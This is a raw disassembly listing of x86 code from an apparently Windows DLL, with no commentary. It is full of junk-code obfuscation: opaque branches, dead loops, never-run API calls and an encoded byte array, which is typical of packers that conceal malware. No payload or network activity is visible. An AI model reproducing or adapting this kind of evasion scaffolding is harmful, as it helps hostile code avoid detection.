cmp dword [ebp - 0xf74], 0xf2ba10f4
jae 0x10038d10
mov dword [ebp - 0x8a4], 1
jmp 0x10038d17
and dword [ebp - 0x8a4], 0
cmp dword [ebp - 0x8a4], 0x68d2
jg 0x10038d2f
mov dword [ebp - 0xb94], 1
jmp 0x10038d36
and dword [ebp - 0xb94], 0
mov eax, dword [ebp - 0x120c]
cmp eax, dword [ebp - 0xb94]
jl 0x10038d50
mov dword [ebp - 0x8ac], 1
jmp 0x10038d57
and dword [ebp - 0x8ac], 0
mov eax, dword [ebp - 0xf7c]
cmp dword [ebp - 0x8ac], eax
jl 0x10038d71
mov dword [ebp - 0xd0c], 1
jmp 0x10038d78
and dword [ebp - 0xd0c], 0
mov eax, dword [ebp - 0x1114]
cmp dword [ebp - 0xd0c], eax
je 0x10038d9b
mov eax, 0x64dbb9a2
test eax, eax
je 0x10038d9b
mov dword [ebp - 0x8b4], 1
jmp 0x10038da2
and dword [ebp - 0x8b4], 0
mov eax, dword [ebp - 0xf84]
cmp dword [ebp - 0x8b4], eax
je 0x10038dbc
mov dword [ebp - 0x8bc], 1
jmp 0x10038dc3
and dword [ebp - 0x8bc], 0
mov eax, dword [ebp - 0xb9c]
cmp eax, dword [ebp - 0x8bc]
jne 0x10038ddd
mov dword [ebp - 0xe34], 1
jmp 0x10038de4
and dword [ebp - 0xe34], 0
cmp dword [ebp - 0xe34], 0xffffffff
jle 0x10038df9
mov dword [ebp - 0x8c4], 1
jmp 0x10038e00
and dword [ebp - 0x8c4], 0
mov eax, dword [ebp - 0x8c4]
mov dword [ebp - 0x1194], eax
jmp 0x10038bd1
mov eax, dword [ebp - 0x1e8]
cmp dword [ebp + eax*4 - 0x140c], 0
je 0x10038e23
jmp 0x10038e28
jmp 0x10038b51
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x1580]
call fcn.10025e3f
jmp 0x10038aad
cmp dword [ebp - 0xf8c], 1
jl 0x10038e51
mov dword [ebp - 0xba4], 1
jmp 0x10038e58
and dword [ebp - 0xba4], 0
mov eax, dword [ebp - 0x478]
cmp dword [ebp - 0xba4], eax
jl 0x10038e72
mov dword [ebp - 0x8cc], 1
jmp 0x10038e79
and dword [ebp - 0x8cc], 0
mov eax, dword [ebp - 0x8cc]
mov dword [ebp - 0x1e8], eax
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x1708]
call fcn.10025e3f
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1424]
call fcn.10025e3f
mov eax, dword [ebp - 0x3a0]
mov byte [ebp + eax - 0x1224], 0
jmp 0x10038973
mov dword [ebp - 0xd14], 0x4722
mov dword [ebp - 0x111c], 0x100082c8
cmp dword [ebp - 0xd14], 0x481c
jle 0x10038fc0
push 0x214f
call dword [sym.imp.USER32.dll_GetSysColor]
and dword [ebp - 0x420], 0
jmp 0x10038efb
mov eax, dword [ebp - 0x420]
inc eax
mov dword [ebp - 0x420], eax
cmp dword [ebp - 0x420], 0x76d2
jge 0x10038fc0
and dword [ebp - 0x3a8], 0
jmp 0x10038f21
mov eax, dword [ebp - 0x3a8]
inc eax
mov dword [ebp - 0x3a8], eax
cmp dword [ebp - 0x3a8], 0x6dd4
jge 0x10038fbb
and dword [ebp - 0x460], 0
jmp 0x10038f47
mov eax, dword [ebp - 0x460]
inc eax
mov dword [ebp - 0x460], eax
cmp dword [ebp - 0x460], 0x4237
jge 0x10038fb6
and dword [ebp - 0x3b0], 0
jmp 0x10038f69
mov eax, dword [ebp - 0x3b0]
inc eax
mov dword [ebp - 0x3b0], eax
cmp dword [ebp - 0x3b0], 0x4dc5
jge 0x10038fb4
mov eax, dword [ebp - 0x420]
mov ecx, dword [ebp - 0x3a8]
sar eax, cl
xor eax, dword [ebp - 0x460]
xor eax, dword [ebp - 0x3b0]
cdq
mov dword [ebp - 0xff0], eax
mov dword [ebp - 0xfec], edx
push dword [ebp - 0xfec]
push dword [ebp - 0xff0]
mov ecx, 0x1061f778
call fcn.10025cc8
jmp 0x10038f5c
jmp 0x10038f3a
jmp 0x10038f14
jmp 0x10038eee
mov dword [ebp - 4], 0x12
cmp dword [ebp - 0xd14], 0x454b
jge 0x10038fe3
mov edx, dword [ebp - 0x111c]
mov ecx, 0x1061f778
call fcn.10027940
jmp 0x10038fff
or dword [ebp - 4], 0xffffffff
jmp 0x10039009
mov dword [ebp - 0x208], 0xa61928c1
mov dword [ebp - 0x1200], 0xcfe0
push 1
lea ecx, [ebp - 0xf14]
call fcn.10025ddd
mov dword [ebp - 4], 0x14
push 2
lea ecx, [ebp - 0x11b0]
call fcn.10025ddd
mov byte [ebp - 4], 0x15
mov dword [ebp - 0x98], 0
jmp 0x1003905b
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 1
jge 0x1003907d
push dword [ebp - 0x98]
lea ecx, [ebp - 0xf14]
call fcn.10025e5b
mov dword [eax], 0x18bd8502
jmp 0x1003904e
mov dword [ebp - 0x98], 0
jmp 0x10039096
mov eax, dword [ebp - 0x98]
inc eax
mov dword [ebp - 0x98], eax
cmp dword [ebp - 0x98], 2
jge 0x100390b8
push dword [ebp - 0x98]
lea ecx, [ebp - 0x11b0]
call fcn.10025e5b
mov dword [eax], 9
jmp 0x10039089
mov dword [ebp - 0x208], 0
jmp 0x100390d1
mov eax, dword [ebp - 0x208]
dec eax
mov dword [ebp - 0x208], eax
cmp dword [ebp - 0x208], 0xffffffec
jl 0x1003943b
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x1d8], 1
mov dword [ebp - 0x14ec], 0x2bd68e48
mov esi, dword [ebp - 0x2c]
add esi, 0x492527ea
push 0
lea ecx, [ebp - 0xf14]
call fcn.10025e5b
sub esi, dword [eax]
jne 0x10039125
mov eax, 0xa05d
test eax, eax
jne 0x10039125
and dword [ebp - 0x590], 0
jmp 0x1003912f
mov dword [ebp - 0x590], 1
push 0
lea ecx, [ebp - 0x11b0]
call fcn.10025e5b
mov ecx, dword [ebp - 0x590]
mov dword [eax], ecx
mov eax, 0xedca8fec
sub eax, dword [ebp - 0x590]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x14f4], eax
mov eax, dword [ebp - 0x1d8]
mov dword [ebp - 0x14fc], eax
mov eax, 0x95f7626a
cmp eax, 0x7c422d5f
jne 0x10039184
or eax, 0xffffffff
je 0x10039184
mov dword [ebp - 0xf94], 1
jmp 0x1003918b
and dword [ebp - 0xf94], 0
mov esi, dword [ebp - 0x1d8]
mov edi, dword [ebp - 0x1d8]
push 0
lea ecx, [ebp - 0xf14]
call fcn.10025e5b
mov eax, dword [eax]
add eax, 9
sub eax, edi
cmp eax, esi
jne 0x100391c4
mov eax, 0x5d840dfe
test eax, eax
je 0x100391c4
mov dword [ebp - 0x8d4], 1
jmp 0x100391cb
and dword [ebp - 0x8d4], 0
mov eax, dword [ebp - 0x208]
cmp dword [ebp - 0x8d4], eax
jle 0x100391f7
push 1
lea ecx, [ebp - 0x11b0]
call fcn.10025e5b
cmp dword [eax], 0
je 0x100391f7
mov dword [ebp - 0xbac], 1
jmp 0x100391fe
and dword [ebp - 0xbac], 0
mov eax, dword [ebp - 0x1200]
cmp eax, dword [ebp - 0xbac]
jge 0x1003941f
mov dword [ebp - 0x8dc], 0xc7fd579
mov dword [ebp - 0x1040], 0
cmp dword [ebp - 0x208], 0
jne 0x100393d0
cmp dword [ebp - 0x2c], 0
jle 0x10039243
mov dword [ebp - 0xbbc], 1
jmp 0x1003924a
and dword [ebp - 0xbbc], 0
mov eax, dword [ebp - 0x1d8]
mov dword [ebp - 0x8dc], eax
mov eax, dword [ebp - 0x8dc]
sub eax, dword [ebp - 0x2c]
mov dword [ebp - 0xdcc], eax
push 0
lea ecx, [ebp - 0x11b0]
call fcn.10025e5b
mov ecx, dword [ebp - 0xdcc]
mov dword [eax], ecx
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0xdcc], eax
jge 0x10039291
mov dword [ebp - 0x8e4], 1
jmp 0x10039298
and dword [ebp - 0x8e4], 0
push 0
lea ecx, [ebp - 0xf14]
call fcn.10025e5b
mov ecx, dword [ebp - 0x8e4]
cmp ecx, dword [eax]
jne 0x100392bb
mov dword [ebp - 0xbb4], 1
jmp 0x100392c2
and dword [ebp - 0xbb4], 0
mov eax, dword [ebp - 0xbb4]
mov dword [ebp - 0x1d8], eax
mov eax, dword [ebp - 0x1d8]
sub eax, dword [ebp - 0x2c]
je 0x100392ea
xor eax, eax
inc eax
je 0x100392ea
mov dword [ebp - 0x8ec], 1
jmp 0x100392f1
and dword [ebp - 0x8ec], 0
mov eax, dword [ebp - 0x8ec]
sub eax, dword [ebp - 0x2c]
cmp eax, 0xfff6
jae 0x1003930d
mov dword [ebp - 0xf9c], 1
jmp 0x10039314
and dword [ebp - 0xf9c], 0
push 0
lea ecx, [ebp - 0xf14]
call fcn.10025e5b
mov eax, dword [ebp - 0x1d8]
cmp eax, dword [ebp - 0x1040]
jg 0x1003933b
mov dword [ebp - 0xd1c], 1
jmp 0x10039342
and dword [ebp - 0xd1c], 0
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0xd1c], eax
jl 0x10039359
mov dword [ebp - 0x8f4], 1
jmp 0x10039360
and dword [ebp - 0x8f4], 0
cmp dword [ebp - 0x8f4], 0xfffffff7
jle 0x10039375
mov dword [ebp - 0x8fc], 1
jmp 0x1003937c
and dword [ebp - 0x8fc], 0
mov eax, dword [ebp - 0xbbc]
cmp eax, dword [ebp - 0x8fc]
jg 0x10039396
mov dword [ebp - 0xe5c], 1
jmp 0x1003939d
and dword [ebp - 0xe5c], 0
cmp dword [ebp - 0xe5c], 0xb681
je 0x100393b5
mov dword [ebp - 0x904], 1
jmp 0x100393bc
and dword [ebp - 0x904], 0
mov eax, dword [ebp - 0x904]
sub eax, dword [ebp - 0x2c]
jne 0x100393d0
mov dword [ebp - 0xbc4], 1
mov eax, dword [ebp - 0xbc4]
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x2c], 1
jmp 0x100393f3
mov eax, dword [ebp - 0x2c]
dec eax
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
jl 0x1003941d
mov byte [ebp - 0x1d9], 0
movzx eax, byte [ebp - 0x1d9]
test eax, eax
je 0x1003941b
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetThreadTimes]
jmp 0x100393ec
jmp 0x10039436
mov dword [ebp - 0x90c], 0xfffc
mov eax, dword [ebp - 0x90c]
dec eax
mov dword [ebp - 0x90c], eax
jmp 0x100390c4
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x11b0]
call fcn.10025e3f
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xf14]
call fcn.10025e3f
mov byte [ebp - 0x2dc], 1
mov byte [ebp - 0x2db], 0x1b
mov byte [ebp - 0x2da], 2
mov byte [ebp - 0x2d9], 0x17
mov byte [ebp - 0x2d8], 2
mov byte [ebp - 0x2d7], 0x5e
mov byte [ebp - 0x2d6], 0x32
mov byte [ebp - 0x2d5], 0xa
mov byte [ebp - 0x2d4], 0
mov byte [ebp - 0x2d3], 0xb
mov byte [ebp - 0x2d2], 0x16
mov byte [ebp - 0x2d1], 4
mov byte [ebp - 0x2d0], 7
mov byte [ebp - 0x2cf], 5
mov byte [ebp - 0x2ce], 0x11
mov byte [ebp - 0x2cd], 0xd
mov byte [ebp - 0x2cc], 0x32
mov byte [ebp - 0x2cb], 9
mov byte [ebp - 0x2ca], 0x34
mov byte [ebp - 0x2c9], 8
mov byte [ebp - 0x2c8], 0xc
mov byte [ebp - 0x2c7], 0
mov byte [ebp - 0x2c6], 0x2c
mov byte [ebp - 0x2c5], 7
mov byte [ebp - 0x2c4], 0x31
mov byte [ebp - 0x2c3], 0xc
mov byte [ebp - 0x2c2], 1
mov byte [ebp - 0x2c1], 6
mov byte [ebp - 0x2c0], 0x23
mov byte [ebp - 0x2bf], 3
mov byte [ebp - 0x2be], 0x31
push 1
lea ecx, [ebp - 0xe00]
call fcn.10025ddd
mov dword [ebp - 4], 0x16
mov dword [ebp - 0x110], 0xfffffffa
mov dword [ebp - 0xf8], 0x5a63
mov dword [ebp - 0x1504], 0x92d14b43
mov dword [ebp - 0x490], 1
mov dword [ebp - 0x150c], 0xfffffff6
mov dword [ebp - 0x428], 0
jmp 0x10039591
mov eax, dword [ebp - 0x428]
inc eax
mov dword [ebp - 0x428], eax
cmp dword [ebp - 0x428], 1
jge 0x100395b3
push dword [ebp - 0x428]
lea ecx, [ebp - 0xe00]
call fcn.10025e5b
mov dword [eax], 0x5b57fd54
jmp 0x10039584
mov dword [ebp - 0x110], 0
jmp 0x100395cc
mov eax, dword [ebp - 0x110]
inc eax
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 0
jg 0x100398f5
mov dword [ebp - 0x130], 0xfffffffd
mov dword [ebp - 0x1514], 0xffffffff
mov dword [ebp - 0x12a0], 9
mov dword [ebp - 0x129c], 9
mov dword [ebp - 0x1298], 9
mov dword [ebp - 0x1294], 9
mov dword [ebp - 0x3b8], 0
jmp 0x1003962e
mov eax, dword [ebp - 0x3b8]
inc eax
mov dword [ebp - 0x3b8], eax
cmp dword [ebp - 0x3b8], 1
jge 0x1003964a
mov eax, dword [ebp - 0x3b8]
mov dword [ebp + eax*4 - 0x1520], 0xbfaead22
jmp 0x10039621
mov dword [ebp - 0x130], 0
jmp 0x10039663
mov eax, dword [ebp - 0x130]
dec eax
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 0
jl 0x1003988b
mov dword [ebp - 0x12c], 0x9dfcf09c
mov dword [ebp - 0x528], 0x64c9d8d9
mov dword [ebp - 0x12c], 0
jmp 0x1003969d
mov eax, dword [ebp - 0x12c]
inc eax
mov dword [ebp - 0x12c], eax
cmp dword [ebp - 0x12c], 0
jg 0x1003979e
mov dword [ebp - 0xbcc], 0x7c6ae49a
mov dword [ebp - 0xfa4], 0xd1dc6b79
mov eax, dword [ebp - 0xbcc]
mov dword [ebp - 0xfa4], eax
mov eax, dword [ebp - 0x130]
cmp eax, dword [ebp - 0xf8]
je 0x100396e4
mov dword [ebp - 0xd24], 1
jmp 0x100396eb
and dword [ebp - 0xd24], 0
mov eax, dword [ebp - 0x110]
cmp eax, dword [ebp - 0xd24]
je 0x10039705
mov dword [ebp - 0x1048], 1
jmp 0x1003970c
and dword [ebp - 0x1048], 0
push dword [ebp - 0x110]
lea ecx, [ebp - 0xe00]
call fcn.10025e5b
mov eax, dword [ebp - 0x12c]
mov dword [ebp - 0x152c], eax
push 0
lea ecx, [ebp - 0xe00]
call fcn.10025e5b
cmp dword [eax], 1
jge 0x10039747
mov dword [ebp - 0x914], 1
jmp 0x1003974e
and dword [ebp - 0x914], 0
mov eax, dword [ebp - 0x110]
add eax, dword [ebp - 0x914]
add eax, dword [ebp - 0x130]
cmp eax, dword [ebp - 0xbcc]
jg 0x10039774
mov dword [ebp - 0x91c], 1
jmp 0x1003977b
and dword [ebp - 0x91c], 0
imul eax, dword [ebp - 0x91c], 0xe779
mov dword [ebp - 0x528], eax
cmp dword [ebp - 0x528], 0
je 0x10039799
jmp 0x10039690
jmp 0x10039690
mov dword [ebp - 0xf8], 0
jmp 0x100397b7
mov eax, dword [ebp - 0xf8]
inc eax
mov dword [ebp - 0xf8], eax
cmp dword [ebp - 0xf8], 0
jg 0x10039886
push dword [ebp - 0xf8]
lea ecx, [ebp - 0xe00]
call fcn.10025e5b
push dword [ebp - 0xf8]
lea ecx, [ebp - 0xe00]
call fcn.10025e5b
mov eax, dword [ebp - 0xf8]
mov dword [ebp - 0x1538], eax
mov dword [ebp - 0x12c], 0x9668
cmp dword [ebp - 0x12c], 0x6286
jle 0x10039814
mov dword [ebp - 0xdd4], 1
jmp 0x1003981b
and dword [ebp - 0xdd4], 0
mov eax, dword [ebp - 0x528]
cmp dword [ebp - 0xdd4], eax
jle 0x10039835
mov dword [ebp - 0x924], 1
jmp 0x1003983c
and dword [ebp - 0x924], 0
mov eax, dword [ebp - 0x130]
cmp dword [ebp - 0x924], eax
jne 0x10039856
mov dword [ebp - 0xfac], 1
jmp 0x1003985d
and dword [ebp - 0xfac], 0
push dword [ebp - 0x110]
lea ecx, [ebp - 0xe00]
call fcn.10025e5b
mov esi, eax
push 0
lea ecx, [ebp - 0xe00]
call fcn.10025e5b
mov eax, dword [eax]
mov dword [esi], eax
jmp 0x100397aa
jmp 0x10039656
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x12a0]
dec eax
push 4
pop ecx
shl ecx, 0
mov dword [ebp + ecx - 0x12a0], eax
mov dword [ebp - 0x490], 0
jmp 0x100398bf
mov eax, dword [ebp - 0x490]
dec eax
mov dword [ebp - 0x490], eax
cmp dword [ebp - 0x490], 0
jl 0x100398f0
mov byte [ebp - 0x169], 0
movzx eax, byte [ebp - 0x169]
test eax, eax
je 0x100398ee
push 0
push 0x2183
push 0x2492
push 0
call dword [sym.imp.GDI32.dll_GetPaletteEntries]
jmp 0x100398b2
jmp 0x100395bf
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xe00]
call fcn.10025e3f
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x2dc]
and eax, 0x69
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x2dc]
or ecx, 0x69
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x2dc]
mov byte [ebp + eax - 0xf24], cl
mov dword [ebp - 0x1050], 0x8901
mov dword [ebp - 0x2a4], 0xffffffff
mov eax, dword [ebp - 0x1050]
mov dword [ebp - 0x2a4], eax
mov dword [ebp - 0x2a4], 0
jmp 0x10039976
mov eax, dword [ebp - 0x2a4]
inc eax
mov dword [ebp - 0x2a4], eax
cmp dword [ebp - 0x2a4], 0x1a
jl 0x10039a05
mov dword [ebp - 0xfb8], 1
push 3
lea ecx, [ebp - 0x1418]
call fcn.10025ddd
mov dword [ebp - 4], 0x17
mov dword [ebp - 0x3c0], 0
jmp 0x100399ba
mov eax, dword [ebp - 0x3c0]
inc eax
mov dword [ebp - 0x3c0], eax
cmp dword [ebp - 0x3c0], 3
jge 0x100399dc
push dword [ebp - 0x3c0]
lea ecx, [ebp - 0x1418]
call fcn.10025e5b
mov dword [eax], 3
jmp 0x100399ad
mov esi, dword [ebp - 0xfb8]
push 2
lea ecx, [ebp - 0x1418]
call fcn.10025e5b
mov dword [eax], esi
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1418]
call fcn.10025e3f
jmp 0x10039969
mov dword [ebp - 0x34], 2
and dword [ebp - 0x270], 0
jmp 0x10039a1d
cmp dword [ebp - 0x34], 0x1f
jae 0x1003afc5
mov dword [ebp - 0x430], 0
jmp 0x10039a40
mov eax, dword [ebp - 0x430]
inc eax
mov dword [ebp - 0x430], eax
cmp dword [ebp - 0x430], 3
jge 0x10039a5c
mov eax, dword [ebp - 0x430]
mov dword [ebp + eax*4 - 0x17fc], 0x85f70ad6
jmp 0x10039a33
mov byte [ebp - 0x1c6], 0
movzx eax, byte [ebp - 0x1c6]
test eax, eax
je 0x10039a76
push 0
call dword [sym.imp.KERNEL32.dll_InitializeSListHead]
mov byte [ebp - 0x171], 0
mov dword [ebp - 0x1058], 0x2646
cmp dword [ebp - 0x1058], 0x11f2
jge 0x10039e98
and dword [ebp - 0x140], 0
lea eax, [ebp - 0x140]
push eax
push 0x100080d0
call fcn.10060cab
pop ecx
pop ecx
lea ecx, [ebp - 0x2e8]
call fcn.10043bc7
mov dword [ebp - 4], 0x18
and dword [ebp - 0x138], 0
jmp 0x10039ad9
mov eax, dword [ebp - 0x138]
inc eax
mov dword [ebp - 0x138], eax
mov eax, dword [ebp - 0x138]
cmp eax, dword [ebp - 0x140]
jge 0x10039c0e
and dword [ebp - 0xfc4], 0
lea eax, [ebp - 0xfc4]
push eax
push 4
lea ecx, [ebp - 0x172c]
call fcn.10043a4f
mov dword [ebp - 0x1060], eax
mov eax, dword [ebp - 0x1060]
mov dword [ebp - 0xfd0], eax
mov byte [ebp - 4], 0x19
push dword [ebp - 0xfd0]
lea ecx, [ebp - 0x2e8]
call fcn.10043bd4
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x172c]
call fcn.10025e3f
and dword [ebp - 0xbd4], 0
and dword [ebp - 0x92c], 0
and dword [ebp - 0xd2c], 0
and dword [ebp - 0x934], 0
lea eax, [ebp - 0x934]
push eax
lea eax, [ebp - 0xd2c]
push eax
lea eax, [ebp - 0x92c]
push eax
lea eax, [ebp - 0xbd4]
push eax
push 0x10008340
call fcn.10060cab
add esp, 0x14
push 0
push dword [ebp - 0x138]
lea ecx, [ebp - 0x2e8]
call fcn.10043c6b
mov ecx, eax
call fcn.10025e5b
mov ecx, dword [ebp - 0xbd4]
mov dword [eax], ecx
push 1
push dword [ebp - 0x138]
lea ecx, [ebp - 0x2e8]
call fcn.10043c6b
mov ecx, eax
call fcn.10025e5b
mov ecx, dword [ebp - 0x92c]
mov dword [eax], ecx
push 2
push dword [ebp - 0x138]
lea ecx, [ebp - 0x2e8]
call fcn.10043c6b
mov ecx, eax
call fcn.10025e5b
mov ecx, dword [ebp - 0xd2c]
mov dword [eax], ecx
push 3
push dword [ebp - 0x138]
lea ecx, [ebp - 0x2e8]
call fcn.10043c6b
mov ecx, eax
call fcn.10025e5b
mov ecx, dword [ebp - 0x934]
mov dword [eax], ecx
jmp 0x10039acc
push dword [ebp - 0x140]
call fcn.1005c49c
pop ecx
mov dword [ebp - 0x1068], eax
mov eax, dword [ebp - 0x1068]
mov dword [ebp - 0x570], eax
and dword [ebp - 0x3c8], 0
jmp 0x10039c42
mov eax, dword [ebp - 0x3c8]
cmp eax, dword [ebp - 0x140]
jge 0x10039c61
mov eax, dword [ebp - 0x570]
add eax, dword [ebp - 0x3c8]
mov byte [eax], 1
jmp 0x10039c35
and dword [ebp - 0xa0], 0
jmp 0x10039c77
movzx eax, byte [ebp - 0x171]
test eax, eax
je 0x10039eb2
push 0
push 0
push 0xf68
call dword [sym.imp.USER32.dll_SetPropA]
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x2dc]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x34], eax
jne 0x1003a572
mov dword [ebp - 0x64], 0x1824a8c6
mov dword [ebp - 0x260], 7
mov dword [ebp - 0x64], 0
jmp 0x10039eee
cmp dword [ebp - 0x64], 0xffffffef
je 0x10039f52
mov dword [ebp - 0xfdc], 0x91f782a1
mov dword [ebp - 0x468], 0
jmp 0x10039f17
mov dword [ebp - 0x260], 0
jmp 0x10039f6b
mov dword [ebp - 0x18], 0xffffffff
mov dword [ebp - 0x3d8], 0
jmp 0x1003a592
cmp dword [ebp - 0x3d8], 1
jge 0x1003a5ab
mov eax, dword [ebp - 0x3d8]
mov dword [ebp + eax*4 - 0x1c], 0x51d69f42
jmp 0x1003a585
mov dword [ebp - 0x18], 0x24a8c6a5
mov dword [ebp - 0x18], 0
jmp 0x1003a5c2
mov dword [ebp - 0x328], 0xbac0
push 3
lea ecx, [ebp - 0x126c]
call fcn.10025ddd
mov dword [ebp - 4], 0x20
mov dword [ebp - 0xa1c], 0x13af72b5
mov dword [ebp - 0xc54], 0x3d47941c
mov dword [ebp - 0x1018], 1
mov dword [ebp - 0x40], 0
jmp 0x1003b011
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 3
jge 0x1003b02d
push dword [ebp - 0x40]
lea ecx, [ebp - 0x126c]
call fcn.10025e5b
mov dword [eax], 0xac12265e
jmp 0x1003b00a
mov dword [ebp - 0x40], 0
jmp 0x1003b03d
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 2
jge 0x1003b053
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x1620], 0xdade
jmp 0x1003b036
mov dword [ebp - 0x40], 0
jmp 0x1003b063
mov eax, dword [ebp - 0x40]
inc eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 3
jge 0x1003b079
mov eax, dword [ebp - 0x40]
mov dword [ebp + eax*4 - 0x1590], 0xf9f7c8b1
jmp 0x1003b05c
mov eax, dword [ebp - 0x328]
mov dword [ebp - 0x15f8], eax
push 4
pop eax
shl eax, 0
imul eax, dword [ebp + eax - 0x1620], 0x9c45
cmp eax, 2
jbe 0x1003b0a7
mov dword [ebp - 0xc4c], 1
jmp 0x1003b0ae
and dword [ebp - 0xc4c], 0
mov eax, dword [ebp - 0xc4c]
mov dword [ebp - 0xa1c], eax
mov esi, dword [ebp - 0xa1c]
push 0
lea ecx, [ebp - 0x126c]
call fcn.10025e5b
cmp dword [eax], esi
je 0x1003b0dd
mov dword [ebp - 0xdf4], 1
jmp 0x1003b0e4
and dword [ebp - 0xdf4], 0
mov eax, dword [ebp - 0xdf4]
neg eax
sub eax, dword [ebp - 0x328]
cmp eax, 0xfffffffc
jne 0x1003b103
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x320], 0x7a9a9718
mov dword [ebp - 0x244], 0xfdcb
mov dword [ebp - 0x168], 1
mov dword [ebp - 0xac4], 0xfffffffb
mov dword [ebp - 0x35c], 0
jmp 0x1003ba0a
mov eax, dword [ebp - 0x35c]
inc eax
mov dword [ebp - 0x35c], eax
cmp dword [ebp - 0x35c], 2
jge 0x1003ba26
mov eax, dword [ebp - 0x35c]
mov dword [ebp + eax*4 - 0x4a0], 0xfffffffe
jmp 0x1003b9fd
mov eax, dword [ebp - 0x20]
dec eax
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x244]
mov dword [ebp - 0x1124], eax
mov eax, dword [ebp - 0x244]
inc eax
mov dword [ebp - 0x244], eax
cmp dword [ebp - 0x1124], 0x47c9d5fa
jg 0x1003ba5e
mov dword [ebp - 0xd84], 1
jmp 0x1003ba65
and dword [ebp - 0xd84], 0
cmp dword [ebp - 0xd84], 1
je 0x1003ba7a
mov dword [ebp - 0xa94], 1
jmp 0x1003ba81
and dword [ebp - 0xa94], 0
cmp dword [ebp - 0x20], 0
je 0x1003ba9a
mov eax, dword [ebp - 0x168]
mov dword [ebp - 0x162c], eax
cmp dword [ebp - 0x168], 0
cmp dword [ebp - 0x20], 0x1d10
jne 0x1003baaf
mov dword [ebp - 0xa9c], 1
jmp 0x1003bab6
and dword [ebp - 0xa9c], 0
mov eax, dword [ebp - 0x20]
imul eax, dword [ebp - 0xa94]
mov dword [ebp - 0xc8c], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xc8c]
mov dword [ebp + eax - 0x4a0], ecx
mov eax, dword [ebp - 0xc8c]
cmp eax, dword [ebp - 0xa9c]
jge 0x1003baf3
mov dword [ebp - 0xda0], 1
jmp 0x1003bafa
and dword [ebp - 0xda0], 0
mov eax, dword [ebp - 0x320]
cmp dword [ebp - 0xda0], eax
jg 0x1003bb14
mov dword [ebp - 0xaa4], 1
jmp 0x1003bb1b
and dword [ebp - 0xaa4], 0
mov eax, dword [ebp - 0xaa4]
mov dword [ebp - 0x320], eax
cmp dword [ebp - 0x320], 0
je 0x1003bf0f
mov dword [ebp - 0x23c], 1
mov dword [ebp - 0xc94], 0x79bd
push 4
lea ecx, [ebp - 0xe10]
call fcn.10025ddd
mov dword [ebp - 4], 0x25
mov dword [ebp - 0x1054], 0xfffffffa
mov dword [ebp - 0x4dc], 0x3e7a
mov dword [ebp - 0xcb4], 0xc591ebb6
mov dword [ebp - 0x364], 0
jmp 0x1003bb93
mov eax, dword [ebp - 0x364]
inc eax
mov dword [ebp - 0x364], eax
cmp dword [ebp - 0x364], 4
jge 0x1003bbb5
push dword [ebp - 0x364]
lea ecx, [ebp - 0xe10]
call fcn.10025e5b
mov dword [eax], 9
jmp 0x1003bb86
mov eax, dword [ebp - 0x23c]
mov dword [ebp - 0xc94], eax
mov eax, dword [ebp - 0x244]
cmp eax, dword [ebp - 0xc94]
je 0x1003bbdb
mov dword [ebp - 0xaac], 1
jmp 0x1003bbe2
and dword [ebp - 0xaac], 0
cmp dword [ebp - 0xaac], 0x25fc1c57
jl 0x1003bc00
mov eax, 0x9ab8a87e
test eax, eax
jne 0x1003bc00
and dword [ebp - 0xd8c], 0
jmp 0x1003bc0a
mov dword [ebp - 0xd8c], 1
mov eax, dword [ebp - 0x23c]
cmp eax, dword [ebp - 0xd8c]
jge 0x1003bc24
mov dword [ebp - 0x104c], 1
jmp 0x1003bc2b
and dword [ebp - 0x104c], 0
push 0xfffffffffffffff7
pop eax
test eax, eax
je 0x1003bc50
push 3
lea ecx, [ebp - 0xe10]
call fcn.10025e5b
cmp dword [eax], 0
je 0x1003bc50
mov dword [ebp - 0xab4], 1
jmp 0x1003bc57
and dword [ebp - 0xab4], 0
mov eax, dword [ebp - 0xac4]
cmp dword [ebp - 0xab4], eax
jl 0x1003bc71
mov dword [ebp - 0x11a4], 1
jmp 0x1003bc78
and dword [ebp - 0x11a4], 0
mov eax, dword [ebp - 0x23c]
mov dword [ebp - 0x165c], eax
push 0
lea ecx, [ebp - 0xe10]
call fcn.10025e5b
cmp dword [eax], 0x3c39
jge 0x1003bca5
mov dword [ebp - 0xc9c], 1
jmp 0x1003bcac
and dword [ebp - 0xc9c], 0
mov eax, dword [ebp - 0x23c]
cmp eax, dword [ebp - 0xc9c]
jl 0x1003bcc6
mov dword [ebp - 0xabc], 1
jmp 0x1003bccd
and dword [ebp - 0xabc], 0
mov eax, dword [ebp - 0x1054]
cmp dword [ebp - 0xabc], eax
